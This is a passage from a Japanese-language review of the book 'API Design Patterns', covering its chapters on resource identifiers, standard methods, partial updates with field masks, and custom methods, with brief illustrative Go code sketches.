defaults」は、APIデザインにおけるデータ型とデフォルト値の重要性を明確に示しています。適切なデータ型の選択と、それらの一貫した使用は、APIの使いやすさ、信頼性、そして長期的な保守性に直接的な影響を与えます。特に重要な点は以下の通りです。プログラミング言語に依存しない、一貫したデータ表現の重要性。null値とmissing値の区別、およびそれらの適切な処理。大きな数値や浮動小数点数の安全な取り扱い。文字列のエンコーディングと正規化の重要性。コレクション(リストとマップ)の適切な使用とサイズ制限。これらの原則を適切に適用することで、開発者にとって使いやすく、長期的に保守可能なAPIを設計することができます。さらに、これらの原則は、マイクロサービスアーキテクチャやクラウドネイティブ環境における効果的なシステム設計にも直接的に適用可能です。最後に、APIの設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切なデータ型の選択は、単にAPIの使いやすさを向上させるだけでなく、システム全体の信頼性、パフォーマンス、そして拡張性の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。この章の内容は、特に大規模で長期的に運用されるシステムの設計において非常に重要です。適切なデータ型の選択と一貫した使用は、将来的な拡張性を確保し、予期せぬバグや互換性の問題を防ぐ上で不可欠です。API設計者は、これらの原則を深く理解し、実践することで、より強固で信頼性の高いシステムを構築することができるでしょう。Part 3 Fundamentalsこのパートでは、APIの基本的な操作と機能について深く掘り下げています。標準メソッド(GET、POST、PUT、DELETE等)の適切な使用法、部分的な更新と取得、カスタムメソッドの設計、長時間実行操作の扱い方などが説明されています。これらの基本的な要素を適切に設計することで、APIの使いやすさと機能性が大きく向上します。6 Resource identification「API Design Patterns」の第6章「Resource identification」は、APIにおけるリソース識別子の重要性、良い識別子の特性、その実装方法、そしてUUIDとの関係について詳細に論じています。この章を通じて、著者はリソース識別子が単なる技術的な詳細ではなく、APIの使いやすさ、信頼性、そして長期的な保守性に直接影響を与える重要な設計上の決定であることを明確に示しています。識別子の重要性と特性著者は、識別子の重要性から議論を始めています。APIにおいて、識別子はリソースを一意に特定するための手段であり、その設計は慎重に行う必要があります。良い識別子の特性として、著者は以下の点を挙げています。使いやすさ一意性永続性生成の速さと容易さ予測不可能性読みやすさ、共有のしやすさ、検証可能性情報密度の高さこれらの特性は、マイクロサービスアーキテクチャやクラウドネイティブ環境において特に重要です。例えば、永続性と一意性は、分散システムにおけるデータの一貫性と整合性を確保する上で不可欠です。また、予測不可能性はセキュリティの観点から重要で、リソースの推測や不正アクセスを防ぐ役割を果たします。著者が提案する識別子の形式は、Crockford's Base32エンコーディングを使用したものです。この選択には多くの利点があります。高い情報密度(ASCIIキャラクタあたり5ビット)人間が読みやすく、口頭でも伝えやすい大文字小文字を区別しない柔軟性チェックサム文字による検証可能性これらの特性は、実際の運用環境で非常に有用です。例えば、識別子の読み上げやタイプミスの検出が容易になり、サポートや障害対応の効率が向上します。実装の詳細著者は、識別子の実装に関して詳細なガイダンスを提供しています。特に注目すべき点は以下の通りです。サイズの選択: 著者は、用途に応じて64ビットまたは128ビットの識別子を推奨しています。これは、多くのユースケースで十分な一意性を提供しつつ、効率的なストレージと処理を可能にします。生成方法: 暗号学的に安全な乱数生成器の使用を推奨しています。これは、識別子の予測不可能性と一意性を確保する上で重要です。チェックサムの計算: 識別子の検証を容易にするためのチェックサム文字の追加方法を詳細に説明しています。データベースでの保存: 文字列、バイト列、整数値としての保存方法を比較し、それぞれの利点と欠点を分析しています。これらの実装詳細は、実際のシステム設計において非常に有用です。例えば、Golangでの実装を考えると、以下のようなコードが考えられます。package mainimport ( \"crypto/rand\" \"encoding/base32\" \"fmt\")func GenerateID() (string, error) { bytes := make([]byte, 16) // 128ビットの識別子 _, err := rand.Read(bytes) if err != nil { return \"\", err } encoded := base32.StdEncoding.WithPadding(base32.NoPadding).EncodeToString(bytes) checksum := calculateChecksum(bytes) return fmt.Sprintf(\"%s%c\", encoded, checksumChar(checksum)), nil}func calculateChecksum(bytes []byte) int { sum := 0 for _, b := range bytes { sum += int(b) } return sum % 32}func checksumChar(checksum int) rune { return rune('A' + checksum)}func main() { id, err := GenerateID() if err != nil { fmt.Printf(\"Error generating ID: %v\\n\", err) return } fmt.Printf(\"Generated ID: %s\\n\", id)}このような実装は、安全で効率的な識別子生成を可能にし、システムの信頼性と拡張性を向上させます。識別子の階層と一意性のスコープ著者は、識別子の階層構造と一意性のスコープについても詳細に論じています。これは、リソース間の関係性をどのように表現するかという重要な問題に関わっています。著者は、階層的な識別子(例:books/1234/pages/5678)の使用を、真の「所有権」関係がある場合に限定することを推奨しています。これは、リソースの移動や関係の変更が頻繁に起こる可能性がある場合、識別子の永続性を維持することが困難になるためです。この考え方は、マイクロサービスアーキテクチャにおいて特に重要です。サービス間の境界を明確に定義し、不必要な依存関係を避けるためには、識別子の設計が重要な役割を果たします。例えば、書籍と著者の関係を考えると、authors/1234/books/5678よりもbooks/5678(著者情報は書籍のプロパティとして保持)の方が、サービス間の結合度を低く保つことができます。UUIDとの比較著者は、提案する識別子形式とUUIDを比較しています。UUIDの利点(広く採用されている、衝突の可能性が極めて低いなど)を認めつつ、以下の点で著者の提案する形式が優れていると主張しています。より短く、人間が読みやすい情報密度が高い(Base32 vs Base16)チェックサム機能が組み込まれているこの比較は重要で、システムの要件に応じて適切な識別子形式を選択する必要性を示しています。例えば、高度に分散化されたシステムではUUIDの使用が適している一方、人間の介入が頻繁に必要なシステムでは著者の提案する形式が有用かもしれません。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。スケーラビリティと性能: 適切な識別子の設計は、システムのスケーラビリティと性能に直接影響します。例えば、128ビットの識別子を使用することで、将来的な成長に対応しつつ、効率的なインデックスの作成が可能になります。セキュリティ: 予測不可能な識別子の使用は、リソースの推測や不正アクセスを防ぐ上で重要です。これは、特に公開APIにおいて重要な考慮事項です。運用性: 人間が読みやすく、検証可能な識別子は、デバッグやトラブルシューティングを容易にします。これは、大規模なシステムの運用において非常に有用です。バージョニングとの関係: 識別子の設計は、APIのバージョニング戦略と密接に関連しています。永続的で一意な識別子は、異なるバージョン間でのリソースの一貫性を維持するのに役立ちます。データベース設計: 識別子の形式と保存方法の選択は、データベースの性能と拡張性に大きな影響を与えます。著者の提案する形式は、多くのデータベースシステムで効率的に扱うことができます。結論第6章「Resource identification」は、APIにおけるリソース識別子の重要性と、その適切な設計の必要性を明確に示しています。著者の提案する識別子形式は、使いやすさ、安全性、効率性のバランスが取れており、多くのユースケースで有用です。特に重要な点は以下の通りです。識別子は単なる技術的詳細ではなく、APIの使いやすさと信頼性に直接影響を与える重要な設計上の決定である。良い識別子は、一意性、永続性、予測不可能性、読みやすさなど、複数の重要な特性を兼ね備えている必要がある。Crockford's Base32エンコーディングの使用は、多くの利点をもたらす。識別子の階層構造は慎重に設計する必要があり、真の「所有権」関係がある場合にのみ使用すべきである。UUIDは広く採用されているが、特定のユースケースでは著者の提案する形式の方が適している場合がある。これらの原則を適切に適用することで、開発者にとって使いやすく、長期的に保守可能なAPIを設計することができます。さらに、これらの原則は、マイクロサービスアーキテクチャやクラウドネイティブ環境における効果的なシステム設計にも直接的に適用可能です。最後に、リソース識別子の設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切な識別子の設計は、単にAPIの使いやすさを向上させるだけでなく、システム全体の信頼性、パフォーマンス、そして拡張性の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。この章の内容は、特に大規模で長期的に運用されるシステムの設計において非常に重要です。適切な識別子の設計は、将来的な拡張性を確保し、予期せぬバグや互換性の問題を防ぐ上で不可欠です。API設計者は、これらの原則を深く理解し、実践することで、より強固で信頼性の高いシステムを構築することができるでしょう。7 Standard methods「API Design Patterns」の第7章「Standard methods」は、APIにおける標準メソッドの重要性、その実装方法、そしてトレードオフについて詳細に論じています。この章を通じて、著者は標準メソッドが単なる慣習ではなく、APIの一貫性、予測可能性、そして使いやすさを大きく向上させる重要な設計上の決定であることを明確に示しています。標準メソッドの重要性と概要著者は、標準メソッドの重要性から議論を始めています。APIの予測可能性を高めるために、リソースごとに異なる操作を定義するのではなく、一貫した標準メソッドのセットを定義することの利点を強調しています。具体的には、以下の標準メソッドが紹介されています。Get:既存のリソースを取得List:リソースのコレクションをリスト化Create:新しいリソースを作成Update:既存のリソースを更新Delete:既存のリソースを削除Replace:リソース全体を置き換えHTTP には他にもいくつかのメソッドが用意されているWikipedia より引用en.wikipedia.orgこれらの標準メソッドは、RESTful APIの設計原則に基づいており、多くの開発者にとって馴染みのある概念です。しかし、著者はこれらのメソッドの実装に関する詳細な指針を提供することで、単なる慣習を超えた、一貫性のある強力なAPIデザインパターンを提示しています。この標準化されたアプローチは、マイクロサービスアーキテクチャやクラウドネイティブ環境において特に重要です。複数のサービスが協調して動作する環境では、各サービスのインターフェースが一貫していることが、システム全体の理解と保守を容易にします。例えば、全てのサービスで同じ標準メソッドを使用することで、開発者はサービス間の相互作用をより直感的に理解し、新しいサービスの統合や既存のサービスの修正をスムーズに行うことができます。実装の詳細とベストプラクティス著者は、各標準メソッドの実装に関して詳細なガイダンスを提供しています。特に注目すべき点は以下の通りです。べき等性とサイドエフェクト: 著者は、標準メソッドのべき等性(同じリクエストを複数回実行しても結果が変わらない性質)とサイドエフェクトの重要性を強調しています。特に、Getやリストのような読み取り専用のメソッドは、完全にべき等であるべきで、システムの状態を変更するサイドエフェクトを持つべきではありません。これは、システムの予測可能性と信頼性を高める上で重要です。一貫性: 著者は、特にCreate操作において強い一貫性を維持することの重要性を指摘しています。リソースが作成されたら、即座に他の標準メソッド(Get、List、Update、Delete)を通じてアクセス可能であるべきです。これは、分散システムにおける課題ですが、APIの信頼性と使いやすさにとって極めて重要です。部分更新 vs 全体置換: UpdateメソッドとReplaceメソッドの違いについて詳細に説明しています。Updateは部分的な更新(HTTP PATCHを使用)を行い、Replaceは全体の置換(HTTP PUTを使用)を行います。この区別は、APIの柔軟性と使いやすさを向上させる上で重要です。べき等性と削除操作: 著者は、Delete操作がべき等であるべきか否かについて興味深い議論を展開しています。最終的に、Deleteはべき等でない方が良いと結論付けていますが、これはAPIの設計者にとって重要な考慮点です。これらの実装詳細は、実際のシステム設計において非常に有用です。例えば、Golangでの実装を考えると、以下のようなインターフェースが考えられます。type ResourceService interface { Get(ctx context.Context, id string) (*Resource, error) List(ctx context.Context, filter string) ([]*Resource, error) Create(ctx context.Context, resource *Resource) (*Resource, error) Update(ctx context.Context, id string, updates map[string]interface{}) (*Resource, error) Replace(ctx context.Context, id string, resource *Resource) (*Resource, error) Delete(ctx context.Context, id string) error}このようなインターフェースは、標準メソッドの一貫した実装を促進し、APIの使いやすさと保守性を向上させます。標準メソッドの適用と課題著者は、標準メソッドの適用に関する重要な考慮点も提示しています。メソッドの選択: 全てのリソースが全ての標準メソッドをサポートする必要はありません。リソースの性質に応じて、適切なメソッドのみを実装すべきです。アクセス制御: 特にListメソッドにおいて、異なるユーザーが異なるアクセス権を持つ場合の挙動について詳細に説明しています。これは、セキュリティと使いやすさのバランスを取る上で重要な考慮点です。結果のカウントとソート: 著者は、Listメソッドでのカウントやソートのサポートを避けることを推奨しています。これは、大規模なデータセットでのパフォーマンスとスケーラビリティの問題を防ぐための重要な指針です。フィルタリング: Listメソッドにおけるフィルタリングの重要性と、その実装方法について説明しています。著者は、固定のフィルタリング構造ではなく、柔軟な文字列ベースのフィルタリングを推奨しています。これらの考慮点は、特に大規模なシステムやマイクロサービスアーキテクチャにおいて重要です。例えば、Listメソッドでのカウントやソートの制限は、システムの水平スケーリング能力を維持する上で重要です。同様に、柔軟なフィルタリングの実装は、APIの長期的な進化と拡張性を確保します。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。一貫性と予測可能性: 標準メソッドを一貫して適用することで、APIの学習曲線が緩やかになり、開発者の生産性が向上します。これは、特に大規模なシステムや多くのマイクロサービスを持つ環境で重要です。パフォーマンスとスケーラビリティ: 著者の推奨事項(例:Listメソッドでのカウントやソートの制限)は、システムのパフォーマンスとスケーラビリティを維持する上で重要です。これらの原則を適用することで、システムの成長に伴う課題を予防できます。バージョニングとの関係: 標準メソッドの一貫した実装は、APIのバージョニング戦略とも密接に関連します。新しいバージョンを導入する際も、これらの標準メソッドの挙動を維持することで、後方互換性を確保しやすくなります。セキュリティの考慮: 標準メソッドの実装において、適切なアクセス制御やエラーハンドリングを行うことは、APIのセキュリティを確保する上で重要です。運用性: 標準メソッドの一貫した実装は、監視、ログ記録、デバッグなどの運用タスクを簡素化します。これにより、問題の迅速な特定と解決が可能になります。結論第7章「Standard methods」は、APIにおける標準メソッドの重要性と、その適切な実装方法を明確に示しています。著者の提案する設計原則は、APIの一貫性、予測可能性、使いやすさを大きく向上させる可能性があります。特に重要な点は以下の通りです。標準メソッド(Get、List、Create、Update、Delete、Replace)の一貫した実装は、APIの学習性と使いやすさを大幅に向上させます。べき等性とサイドエフェクトの考慮は、APIの信頼性と予測可能性を確保する上で重要です。強い一貫性の維持、特にCreate操作後の即時アクセス可能性は、APIの信頼性を高めます。標準メソッドの適切な選択と実装は、システムのパフォーマンス、スケーラビリティ、セキュリティに直接影響します。標準メソッドの一貫した実装は、システムの運用性と長期的な保守性を向上させます。これらの原則を適切に適用することで、開発者にとって使いやすく、長期的に保守可能なAPIを設計することができます。さらに、これらの原則は、マイクロサービスアーキテクチャやクラウドネイティブ環境における効果的なシステム設計にも直接的に適用可能です。最後に、標準メソッドの設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切な標準メソッドの設計は、単にAPIの使いやすさを向上させるだけでなく、システム全体の信頼性、パフォーマンス、そして拡張性の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。この章の内容は、特に大規模で長期的に運用されるシステムの設計において非常に重要です。標準メソッドの適切な実装は、将来的な拡張性を確保し、予期せぬバグや互換性の問題を防ぐ上で不可欠です。API設計者は、これらの原則を深く理解し、実践することで、より強固で信頼性の高いシステムを構築することができるでしょう。8 Partial updates and retrievals「API Design Patterns」の第8章「Partial updates and retrievals」は、APIにおける部分的な更新と取得の重要性、その実装方法、そしてトレードオフについて詳細に論じています。この章を通じて、著者は部分的な更新と取得が単なる機能の追加ではなく、APIの柔軟性、効率性、そして長期的な使いやすさに直接影響を与える重要な設計上の決定であることを明確に示しています。部分的な更新と取得の動機著者は、部分的な更新と取得の必要性から議論を始めています。特に、大規模なリソースや制限のあるクライアント環境での重要性を強調しています。例えば、IoTデバイスのような制限された環境では、必要最小限のデータのみを取得することが重要です。また、大規模なリソースの一部のみを更新する必要がある場合、全体を置き換えるのではなく、特定のフィールドのみを更新する能力が重要になります。この概念は、現代のマイクロサービスアーキテクチャやクラウドネイティブ環境において特に重要です。例えば、複数のマイクロサービスが協調して動作する環境では、各サービスが必要とするデータのみを効率的に取得し、更新することが、システム全体のパフォーマンスとスケーラビリティを向上させます。著者は、部分的な更新と取得を実現するためのツールとしてフィールドマスクの概念を導入しています。フィールドマスクは、クライアントが関心のあるフィールドを指定するための単純かつ強力なメカニズムです。これにより、APIは必要なデータのみを返すか、指定されたフィールドのみを更新することができます。フィールドマスクの実装著者は、フィールドマスクの実装に関して詳細なガイダンスを提供しています。特に注目すべき点は以下の通りです。トランスポート: フィールドマスクをどのようにAPIリクエストに含めるかについて議論しています。著者は、クエリパラメータを使用することを推奨しています。これは、HTTPヘッダーよりもアクセスしやすく、操作しやすいためです。ネストされたフィールドとマップの扱い: 著者は、ドット表記を使用してネストされたフィールドやマップのキーを指定する方法を説明しています。これにより、複雑なデータ構造でも柔軟に部分的な更新や取得が可能になります。繰り返しフィールドの扱い: 配列やリストのような繰り返しフィールドに対する操作の制限について議論しています。著者は、インデックスベースの操作を避け、代わりにフィールド全体の置き換えを推奨しています。デフォルト値: 部分的な取得と更新におけるデフォルト値の扱いについて説明しています。特に、更新操作での暗黙的なフィールドマスクの使用を推奨しています。これらの実装詳細は、実際のシステム設計において非常に有用です。例えば、Golangでの実装を考えると、以下のようなコードが考えられます。type FieldMask []stringtype UpdateUserRequest struct { User *User FieldMask FieldMask `json:\"fieldMask,omitempty\"`}func UpdateUser(ctx context.Context, req *UpdateUserRequest) (*User, error) { existingUser, err := getUserFromDatabase(req.User.ID) if err != nil { return nil, err } if req.FieldMask == nil { // 暗黙的なフィールドマスクを使用 req.FieldMask = inferFieldMask(req.User) } for _, field := range req.FieldMask { switch field { case \"name\": existingUser.Name = req.User.Name case \"email\": existingUser.Email = req.User.Email // ... その他のフィールド } } return saveUserToDatabase(existingUser)}func inferFieldMask(user *User) FieldMask { var mask FieldMask if user.Name != \"\" { mask = append(mask, \"name\") } if user.Email != \"\" { mask = append(mask, \"email\") } // ... その他のフィールド return mask}このコードでは、フィールドマスクを明示的に指定しない場合、提供されたデータから暗黙的にフィールドマスクを推論しています。これにより、クライアントは必要なフィールドのみを更新でき、不要なデータの送信を避けることができます。部分的な更新と取得の課題著者は、部分的な更新と取得の実装に関する重要な課題についても議論しています。一貫性: 部分的な更新を行う際、リソース全体の一貫性を維持することが重要です。特に、相互に依存するフィールドがある場合、この点に注意が必要です。パフォーマンス: フィールドマスクの解析と適用には計算コストがかかります。大規模なシステムでは、このオーバーヘッドを考慮する必要があります。バージョニング: APIの進化に伴い、新しいフィールドが追加されたり、既存のフィールドが変更されたりする可能性があります。フィールドマスクの設計は、このような変更に対応できる柔軟性を持つ必要があります。セキュリティ: フィールドマスクを通じて、クライアントがアクセスを許可されていないフィールドを更新または取得しようとする可能性があります。適切なアクセス制御が必要です。これらの課題は、特に大規模なシステムや長期的に維持されるAPIにおいて重要です。例えば、マイクロサービスアーキテクチャでは、各サービスが扱うデータの一部のみを更新する必要がある場合がしばしばあります。この時、部分的な更新機能は非常に有用ですが、同時にサービス間のデータ整合性を維持することが重要になります。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。効率性とパフォーマンス: 部分的な更新と取得を適切に実装することで、ネットワーク帯域幅の使用を最適化し、システム全体のパフォーマンスを向上させることができます。これは特に、モバイルアプリケーションや帯域幅が制限されている環境で重要です。柔軟性と拡張性: フィールドマスクを使用することで、APIの柔軟性が大幅に向上します。クライアントは必要なデータのみを要求でき、新しいフィールドの追加も既存のクライアントに影響を与えずに行えます。バージョニングとの関係: 部分的な更新と取得は、APIのバージョニング戦略と密接に関連しています。新しいバージョンを導入する際も、フィールドマスクを通じて後方互換性を維持しやすくなります。運用性と可観測性: 部分的な更新と取得を適切に実装することで、システムの運用性が向上します。例えば、特定のフィールドの更新頻度や、どのフィールドが最も頻繁に要求されるかを監視することで、システムの使用パターンをより深く理解し、最適化の機会を見出すことができます。エラーハンドリング: 無効なフィールドマスクや、存在しないフィールドへのアクセス試行をどのように処理するかは重要な設計上の決定です。適切なエラーメッセージと状態コードを返すことで、APIの使いやすさと信頼性を向上させることができます。フィールドマスクの高度な使用法著者は、フィールドマスクのより高度な使用法についても言及しています。特に注目すべきは、ネストされた構造やマップ型のフィールドへの対応です。例えば、次のような複雑な構造を持つリソースを考えてみましょう:type User struct { ID string Name string Address Address Settings map[string]interface{}}type Address struct { Street string City string Country string}このような構造に対して、著者は以下のようなフィールドマスクの表記を提案しています。name: ユーザーの名前を更新または取得address.city: ユーザーの住所の都市のみを更新または取得settings.theme: 設定マップ内のテーマ設定のみを更新または取得この表記法により、非常に細かい粒度で更新や取得を行うことが可能になります。これは特に、大規模で複雑なリソースを扱う場合に有用です。しかし、このような複雑なフィールドマスクの実装には課題もあります。特に、セキュリティとパフォーマンスの観点から注意が必要です。例えば、深くネストされたフィールドへのアクセスを許可することで、予期せぬセキュリティホールが生まれる可能性があります。また、非常に複雑なフィールドマスクの解析と適用は、システムに大きな負荷をかける可能性があります。これらの課題に対処するため、著者は以下のような推奨事項を提示しています。フィールドマスクの深さに制限を設ける特定のパターンのみを許可するホワイトリストを実装するフィールドマスクの複雑さに応じて、リクエストのレート制限を調整するこれらの推奨事項は、システムの安全性と性能を確保しつつ、APIの柔軟性を維持するのに役立ちます。部分的な更新と取得の影響部分的な更新と取得の実装は、システム全体に広範な影響を与えます。特に以下の点が重要です。データベース設計: 部分的な更新をサポートするためには、データベースの設計も考慮する必要があります。例えば、ドキュメント指向のデータベースは、部分的な更新に適している場合があります。キャッシング戦略: 部分的な取得をサポートする場合、キャッシング戦略も再考する必要があります。フィールドごとに異なるキャッシュ期間を設定したり、部分的な更新があった場合にキャッシュを適切に無効化する仕組みが必要になります。監視とロギング: 部分的な更新と取得をサポートすることで、システムの監視とロギングの複雑さが増します。どのフィールドが更新されたか、どのフィールドが要求されたかを追跡し、適切にログを取ることが重要になります。ドキュメンテーション: フィールドマスクの使用方法や、各フィールドの意味、相互依存関係などを明確にドキュメント化する必要があります。これにより、API利用者が部分的な更新と取得を適切に使用できるようになります。テスト戦略: 部分的な更新と取得をサポートすることで、テストケースの数が大幅に増加します。全ての有効なフィールドの組み合わせをテストし、不正なフィールドマスクに対する適切なエラーハンドリングを確認する必要があります。クライアントライブラリ: APIクライアントライブラリを提供している場合、フィールドマスクを適切に扱えるように更新する必要があります。これにより、API利用者がより簡単に部分的な更新と取得を利用できるようになります。パフォーマンスチューニング: 部分的な更新と取得は、システムのパフォーマンスに大きな影響を与える可能性があります。フィールドマスクの解析や適用のパフォーマンスを最適化し、必要に応じてインデックスを追加するなどの対策が必要になる場合があります。セキュリティ対策: フィールドマスクを通じて、機密情報へのアクセスが可能になる可能性があります。適切なアクセス制御と認可チェックを実装し、セキュリティ監査を行うことが重要です。バージョニング戦略: 新しいフィールドの追加や既存フィールドの変更を行う際、フィールドマスクとの互換性を維持する必要があります。これは、APIのバージョニング戦略に大きな影響を与える可能性があります。開発者教育: 開発チーム全体が部分的な更新と取得の概念を理解し、適切に実装できるようにするための教育が必要になります。これには、ベストプラクティスの共有やコードレビューのプロセスの更新が含まれる可能性があります。これらの影響を適切に管理することで、部分的な更新と取得の実装による利点を最大限に活かしつつ、潜在的な問題を最小限に抑えることができます。システム全体のアーキテクチャ、開発プロセス、運用プラクティスを包括的に見直し、必要に応じて調整を行うことが重要です。最終的に、部分的な更新と取得の実装は、APIの使いやすさと効率性を大幅に向上させる可能性がありますが、同時にシステムの複雑性も増加させます。したがって、その導入を決定する際は、利点とコストを慎重に検討し、システムの要件と制約に基づいて適切な判断を下す必要があります。長期的な保守性、スケーラビリティ、そして全体的なシステムのパフォーマンスを考慮に入れた上で、部分的な更新と取得の実装範囲と方法を決定することが賢明です。結論第8章「Partial updates and retrievals」は、APIにおける部分的な更新と取得の重要性と、その適切な実装方法を明確に示しています。著者の提案する設計原則は、APIの効率性、柔軟性、そして長期的な保守性を大きく向上させる可能性があります。特に重要な点は以下の通りです。部分的な更新と取得は、大規模なリソースや制限のあるクライアント環境で特に重要です。フィールドマスクは、部分的な更新と取得を実現するための強力なツールです。適切な実装は、ネットワーク帯域幅の使用を最適化し、システム全体のパフォーマンスを向上させます。フィールドマスクの使用は、APIの柔軟性と拡張性を大幅に向上させます。部分的な更新と取得の実装には、一貫性、パフォーマンス、バージョニング、セキュリティなどの課題があり、これらを適切に考慮する必要があります。これらの原則を適切に適用することで、開発者にとって使いやすく、長期的に保守可能なAPIを設計することができます。さらに、これらの原則は、マイクロサービスアーキテクチャやクラウドネイティブ環境における効果的なシステム設計にも直接的に適用可能です。最後に、部分的な更新と取得の設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切な設計は、単にAPIの使いやすさを向上させるだけでなく、システム全体の効率性、スケーラビリティ、そして運用性の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。この章の内容は、特に大規模で長期的に運用されるシステムの設計において非常に重要です。部分的な更新と取得の適切な実装は、将来的な拡張性を確保し、予期せぬパフォーマンス問題や互換性の問題を防ぐ上で不可欠です。API設計者は、これらの原則を深く理解し、実践することで、より効率的で柔軟性の高いシステムを構築することができるでしょう。9 Custom methods「API Design Patterns」の第9章「Custom methods」は、APIにおけるカスタムメソッドの重要性、その実装方法、そしてトレードオフについて詳細に論じています。この章を通じて、著者はカスタムメソッドが単なる追加機能ではなく、APIの柔軟性、表現力、そして長期的な保守性に直接影響を与える重要な設計上の決定であることを明確に示しています。カスタムメソッドの必要性と動機著者は、標準メソッドだけでは対応できないシナリオが存在することから議論を始めています。例えば、電子メールの送信やテキストの翻訳のような特定のアクションをAPIでどのように表現するべきかという問題を提起しています。これらのアクションは、標準的なCRUD操作(Create, Read, Update, Delete)には簡単に当てはまらず、かつ重要な副作用を伴う可能性があります。この問題は、現代のマイクロサービスアーキテクチャやクラウドネイティブ環境において特に重要です。複数のサービスが協調して動作する環境では、各サービスが提供する機能が複雑化し、標準的なRESTful操作だけではカバーしきれないケースが増えています。例えば、ある特定の条件下でのみ実行可能な操作や、複数のリソースに跨がる操作などが該当します。著者は、このような状況に対処するためのソリューションとしてカスタムメソッドを提案しています。カスタムメソッドは、標準メソッドの制約を超えて、APIに特化した操作を実現する手段となります。カスタムメソッドの実装カスタムメソッドの実装に関して、著者はいくつかの重要なポイントを強調しています。HTTP メソッドの選択: カスタムメソッドはほとんどの場合、POSTメソッドを使用します。これは、POSTがリソースの状態を変更する操作に適しているためです。URL構造: カスタムメソッドのURLは、標準的なリソースパスの後にコロン(:)を使用して、カスタムアクションを示します。例えば、POST /rockets/1234:launchのような形式です。命名規則: カスタムメソッドの名前は、標準メソッドと同様に動詞+名詞の形式を取るべきです。例えば、LaunchRocketやSendEmailなどです。これらの規則は、APIの一貫性と予測可能性を維持する上で重要です。特に、大規模なシステムや長期的に運用されるAPIにおいて、この一貫性は開発者の生産性と学習曲線に大きな影響を与えます。著者が提示する実装例を、Golangを用いて具体化すると以下のようになります。type RocketAPI interface { LaunchRocket(ctx context.Context, req *LaunchRocketRequest) (*Rocket, error)}type LaunchRocketRequest struct { ID string `json:\"id\"`}func (s *rocketService) LaunchRocket(ctx context.Context, req *LaunchRocketRequest) (*Rocket, error) { // カスタムロジックの実装 // 例: ロケットの状態チェック、打ち上げシーケンスの開始など}このような実装により、標準的なCRUD操作では表現しきれない複雑なビジネスロジックを、明確で直感的なAPIインターフェースとして提供することが可能になります。副作用の取り扱いカスタムメソッドの重要な特徴の一つとして、著者は副作用の許容を挙げています。標準メソッドが基本的にリソースの状態変更のみを行うのに対し、カスタムメソッドはより広範な操作を行うことができます。例えば、メールの送信、バックグラウンドジョブの開始、複数リソースの更新などです。この特性は、システムの設計と運用に大きな影響を与えます。副作用を伴う操作は、システムの一貫性や信頼性に影響を与える可能性があるため、慎重に設計する必要があります。例えば、トランザクション管理、エラーハンドリング、リトライメカニズムなどを考慮する必要があります。著者が提示する電子メール送信の例は、この点を明確に示しています。メールの送信操作は、データベースの更新だけでなく、外部のSMTPサーバーとの通信も含みます。このような複合的な操作をカスタムメソッドとして実装することで、操作の意図を明確に表現し、同時に必要な副作用を適切に管理することができます。リソースvs.コレクション著者は、カスタムメソッドを個々のリソースに適用するか、リソースのコレクションに適用するかという選択についても論じています。この選択は、操作の性質と影響範囲に基づいて行われるべきです。例えば、単一のメールを送信する操作は個々のリソースに対するカスタムメソッドとして実装される一方で、複数のメールをエクスポートする操作はコレクションに対するカスタムメソッドとして実装されるべきです。この区別は、APIの論理的構造と使いやすさに直接影響します。適切に設計されたカスタムメソッドは、複雑な操作を直感的なインターフェースで提供し、クライアント側の実装を簡素化します。ステートレスカスタムメソッド著者は、ステートレスなカスタムメソッドについても言及しています。これらは、永続的な状態変更を伴わず、主に計算や検証を行うメソッドです。例えば、テキスト翻訳やメールアドレスの検証などが該当します。ステートレスメソッドは、特にデータプライバシーやセキュリティの要件が厳しい環境で有用です。例えば、GDPR(一般データ保護規則)のようなデータ保護規制に対応する必要がある場合、データを永続化せずに処理できるステートレスメソッドは有効なソリューションとなります。しかし、著者は完全にステートレスなアプローチの限界についても警告しています。多くの場合、将来的にはある程度の状態管理が必要になる可能性があるため、完全にステートレスな設計に固執することは避けるべきだと指摘しています。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。柔軟性と表現力: カスタムメソッドを適切に使用することで、APIの柔軟性と表現力が大幅に向上します。複雑なビジネスロジックや特殊なユースケースを、直感的で使いやすいインターフェースとして提供することが可能になります。マイクロサービスアーキテクチャとの親和性: カスタムメソッドは、マイクロサービスアーキテクチャにおいて特に有用です。各サービスが提供する特殊な機能や、サービス間の複雑な相互作用を表現するのに適しています。運用性と可観測性: カスタムメソッドの導入は、システムの運用性と可観測性に影響を与えます。副作用を伴う操作や、複雑な処理フローを含むカスタムメソッドは、適切なログ記録、モニタリング、トレーシングの実装が不可欠です。バージョニングと後方互換性: カスタムメソッドの追加や変更は、APIのバージョニング戦略に影響を与えます。新しいカスタムメソッドの導入や既存メソッドの変更を行う際は、後方互換性の維持に注意を払う必要があります。セキュリティの考慮: カスタムメソッド、特に副作用を伴うものは、適切なアクセス制御と認可チェックが必要です。また、ステートレスメソッドを使用する場合でも、入力データの検証やサニタイズは不可欠です。パフォーマンスとスケーラビリティ: カスタムメソッドの実装は、システムのパフォーマンスとスケーラビリティに影響を与える可能性があります。特に、複雑な処理や外部サービスとの連携を含むメソッドは、適切なパフォーマンスチューニングとスケーリング戦略が必要になります。結論第9章「Custom 